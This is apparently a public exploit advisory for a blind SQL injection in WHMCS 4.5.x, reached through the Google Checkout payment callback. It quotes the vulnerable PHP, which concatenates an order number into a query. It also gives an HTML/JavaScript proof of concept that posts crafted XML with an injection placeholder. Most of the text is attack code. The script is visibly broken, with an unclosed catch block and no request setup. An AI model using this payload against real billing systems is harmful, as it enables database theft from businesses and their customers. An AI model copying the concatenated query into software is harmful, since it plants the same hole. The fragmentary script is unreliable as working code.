# Contact Us : Security[@]star-ware.com
# Vendor Homepage: http://www.whmcs.com
# Tested on: WHMCS v4.5.2 
# Affected versions: 4.5.x
-----------------------------------------------------

#Vulnerability Exists in : [SCRIPT_DIR]/modules/gateways/callback/googlecheckout.php

#Vulnerable Source Code Snippet : 

LINE 11: $xml_response = (isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : file_get_contents('php://input'));
LINE 16: $xmldata = XMLtoArray($xml_response);
LINE 19: $ordernumber = $xmldata['CHARGE-AMOUNT-NOTIFICATION']['GOOGLE-ORDER-NUMBER'];
LINE 22: $query = 'SELECT data FROM tblgatewaylog WHERE gateway=\'Google Checkout\' AND data LIKE \'%new-order-notification%' . $ordernumber . '%\'';

#Proof of Concept : 

<html>
<head>
<title>WHMCS Blind SQL Injection POC</title>
</head>
<body>
<script>
var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
    var http = new XMLHttpRequest();
 try {
        netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    } catch (e) {
        alert("Permission UniversalBrowserRead denied.");

    http.onreadystatechange = handleResponse;
    http.send(params);
